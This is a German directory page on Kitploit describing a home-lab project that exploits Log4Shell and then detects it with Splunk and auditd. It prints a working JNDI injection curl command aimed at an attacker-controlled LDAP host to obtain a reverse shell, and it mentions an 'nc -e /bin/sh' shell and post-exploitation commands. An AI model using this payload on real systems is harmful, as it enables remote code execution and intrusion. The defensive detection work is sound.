Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
log4shell-exploitation-detection — Hands-on-Projekt, das die Ausnutzung von Log4Shell, die Erkennungsentwicklung mit Splunk und auditd sowie eine validierte Behebung in einer containerisierten Umgebung demonstriert. | Kitploit
Tools/GitHubGitHub/kalidoulabghaly/log4shell-exploitation-detection
Container-SicherheitSchwachstellenanalyseExploitationPenetrationstestsLernen & BildungIncident ResponseLog-AnalyseLabs & Praxis

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
kalidoulabghaly/log4shell-exploitation-detection

log4shell-exploitation-detection

Hands-on-Projekt, das die Ausnutzung von Log4Shell, die Erkennungsentwicklung mit Splunk und auditd sowie eine validierte Behebung in einer containerisierten Umgebung demonstriert.

Repository anzeigen
28vor 1 MonatNoch nicht geprüft

Log4Shell (CVE-2021-44228) – Ausnutzung, Erkennung & Behebung

Ein praxisorientiertes Projekt für offensive und defensive Sicherheit, das den gesamten Lebenszyklus der Log4Shell-Schwachstelle simuliert: Ausnutzung von einer Angreifer-VM aus, Erkennungs-Engineering in Splunk und validierte Behebung.

Warum dieses Projekt

Die meisten Portfolio-Projekte in diesem Bereich decken SSH-Brute-Force ab. Ich wollte etwas, das ein umfassenderes Fähigkeitsspektrum demonstriert: die Ausnutzung einer realen, hochwirksamen CVE von Anfang bis Ende, gefolgt vom Wechsel auf die defensive Seite, um sie zu erkennen und zu beheben – derselbe Lebenszyklus, den ein Security Engineer oder Detection Engineer in der Praxis durchläuft.

Umgebung

  • Angreifer-Maschine: Kali Linux VM (192.168.1.86)
  • Ziel-Maschine: Linux Mint VM, Hostname illshot (192.168.1.85), mit nativ laufendem Splunk für Log-Erfassung und Erkennung
  • Verwundbare Anwendung: ghcr.io/christophetd/log4shell-vulnerable-app (Spring Boot, Log4j 2.14.1, Java 8u181), laufend in einem Docker-Container, Logs über --log-driver=syslog in das Syslog von Mint geleitet
  • Beide VMs sind in dasselbe LAN gebrückt, sodass der gesamte Angriffsverkehr für Splunk sichtbar blieb

Angriffskette

1. Listener und Exploit-Tool einrichten. Startete einen Netcat-Listener auf Kali, um den Reverse-Shell-Callback zu empfangen, und startete anschließend ein selbst gebautes JNDI-Injection-Exploit-Tool (aus dem Quellcode gebaut, da keine vorgefertigten Releases verfügbar waren), um die schädliche LDAP-Payload bereitzustellen.

Netcat-Listener-Einrichtung JNDI-Exploit-Tool-Start Docker-Container-Neustart

2. Exploit senden. Zustellung der Payload über einen manipulierten HTTP-Header mit einer JNDI-Lookup-Zeichenkette, die auf die verwundbare App auf Port 8080 abzielte.

curl 192.168.1.85:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.1.86:1389/<payload-id>}'

Curl-Exploit gesendet

3. Shell abfangen. Die verwundbare App parste den Header, löste das JNDI-Lookup aus und kontaktierte meine Kali-Maschine, um die schädliche Klasse abzurufen und auszuführen – was zu einer Reverse Shell mit Root-Rechten im Container führte.

Reverse Shell, Root-Zugriff

Post-Exploitation-Aufklärung (wie ein echter Angreifer sie durchführen würde): Bestätigung des root-Zugriffs, Prüfung der Umgebungsvariablen (sauber, keine geleakten Secrets), Inspektion des Anwendungs-Jars und Prüfung von /etc/passwd, das eine Reihe ungenutzter Service-Konten des Alpine-Basisimages offenbarte – ein gutes Beispiel für ein irreführendes Aufklärungs-Artefakt, das keine reale Angriffsfläche widerspiegelt.

Erkennung

JNDI-Exploit-Erkennung

Splunk, das das Syslog von Mint erfasst, protokollierte die gesamte Exploit-Kette: die anfängliche JNDI-Lookup-Anfrage, den daraus resultierenden NamingException- und ClassCastException-Stacktrace sowie die zugehörigen sudo docker exec-Befehle, die zur Interaktion mit dem Container auf Host-Ebene verwendet wurden.

JNDI-Stacktrace und Docker-Exec-Protokollierung JNDI-Exploit in Splunk bestätigt

Auch Aufklärung war vor der Ausnutzung sichtbar: UFW-Firewall-Logs erfassten den Nmap-Scan-Verkehr von Kali gegen das Ziel.

UFW-Scan-Verkehrsquellen-Aufschlüsselung

Erkennung auf Host-Ebene (auditd)

Ein zentraler technischer Befund dieses Projekts: Eine rohe nc -e /bin/sh-Reverse-Shell authentifiziert sich nie über PAM und erzeugt daher keine Einträge in auth.log und keine Login-Sitzung. Für sich allein genommen würde das diese Art von Shell für standardmäßige login-basierte Protokollierung unsichtbar machen.

Docker-Container teilen sich jedoch den Kernel des Hosts, anstatt vollständig isolierte virtualisierte Kernel auszuführen. Das bedeutet, dass jedes execve (Prozessausführung) im Container weiterhin für das Host-Audit-Subsystem sichtbar ist. Ich konfigurierte auditd auf Mint so, dass es systemweit auf execve-Syscalls achtet, markierte die Regel (container_exec) und speiste /var/log/audit/audit.log als neue Datenquelle in Splunk ein.

auditd-Regel-Verifizierung

Das erneute Auslösen des Exploits und das Ausführen von Post-Exploitation-Befehlen (whoami, cat /etc/passwd, ls /app, env) bestätigte die Theorie: auditd erfasste jeden Befehl, einschließlich des Aufrufs der rohen nc-Reverse-Shell selbst, komplett mit der IP und dem Port des Angreifers, die direkt in den protokollierten Argumenten sichtbar waren.

auditd erfasst den nc-Reverse-Shell-Befehl

Auch umfassendere Post-Exploitation-Aktivitäten waren vollständig sichtbar und liefen unter /bin/busybox (die minimale Shell des Containers implementiert die meisten Unix-Tools als Symlinks auf eine einzige BusyBox-Binärdatei, daher zeigt comm busybox, während exe weiterhin den vollständigen Pfad auflöst):

auditd erfasst Container-Befehle unter busybox Gefilterte auditd-Suche, comm-Feld-Aufschlüsselung

Ein weiteres erwähnenswertes Detail: Jedes erfasste Ereignis zeigte auid=4294967295 (nicht gesetzt/keine Login-Sitzung) gepaart mit uid=0 (root). Diese Kombination ist selbst ein starkes Indiz für eine nicht authentifizierte Shell – ein Prozess mit vollständigen Root-Rechten, aber ohne Audit-Login-ID überhaupt, genau das, was man von einer Shell erwartet, die die normale Authentifizierung vollständig umgangen hat.

Wichtige Erkennungsabfragen:

index=main *jndi*
Tool herunterladen